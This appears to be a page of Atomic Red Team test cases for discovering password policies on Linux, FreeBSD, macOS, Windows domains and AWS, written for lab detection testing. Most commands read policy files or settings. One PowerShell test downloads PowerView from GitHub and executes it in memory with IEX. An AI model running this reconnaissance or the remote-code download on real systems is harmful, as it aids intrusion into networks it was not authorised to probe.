Executable Atomic Red Team test cases for exercising this technique in a lab. Copy a command, run it on the listed platform, confirm your detections fire.
bashlinuxExamine password complexity policy - Ubuntu
Lists the password complexity policy to console on Ubuntu Linux.
cat /etc/pam.d/common-password
shlinuxExamine password complexity policy - FreeBSD
Lists the password complexity policy to console on FreeBSD.
cat /etc/pam.d/passwd
bashlinuxExamine password complexity policy - CentOS/RHEL 7.x
Lists the password complexity policy to console on CentOS/RHEL 7.x Linux.
cat /etc/security/pwquality.conf
bashlinuxExamine password complexity policy - CentOS/RHEL 6.x
Lists the password complexity policy to console on CentOS/RHEL 6.x Linux.
cat /etc/pam.d/system-auth
cat /etc/security/pwquality.conf
bashlinuxExamine password expiration policy - All Linux
Lists the password expiration policy to console on CentOS/RHEL/Ubuntu.
cat /etc/login.defs
command_promptwindowsExamine local password policy - Windows
Lists the local password policy to console on Windows.
net accounts
command_promptwindowsExamine domain password policy - Windows
Lists the domain password policy to console on Windows.
net accounts /domain
bashmacosExamine password policy - macOS
Lists the password policy to console on macOS.
pwpolicy getaccountpolicies
powershellwindowsGet-DomainPolicy with PowerView
Utilizing PowerView, run Get-DomainPolicy to return the default domain policy or the domain controller policy for the current domain or a specified domain/domain controller.
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainPolicy -verbose
powershellwindowsEnumerate Active Directory Password Policy with get-addefaultdomainpasswordpolicy
The following Atomic test will utilize get-addefaultdomainpasswordpolicy to enumerate domain password policy.
Upon successful execution a listing of the policy implemented will display.
Reference: https://docs.microsoft.com/en-us/powershell/module/activedirectory/get-addefaultdomainpasswordpolicy?view=windowsserver2022-ps
get-addefaultdomainpasswordpolicy
command_promptelevatedwindowsUse of SecEdit.exe to export the local security policy (including the password policy)
SecEdit.exe can be used to export the current local security policy applied to a host.
[Reference](https://blueteamops.medium.com/secedit-and-i-know-it-595056dee53d)
secedit.exe /export /areas SECURITYPOLICY /cfg output_mysecpol.txt
shiaas:awsExamine AWS Password Policy
This atomic test will display details about the password policy for the current AWS account.
aws iam get-account-password-policy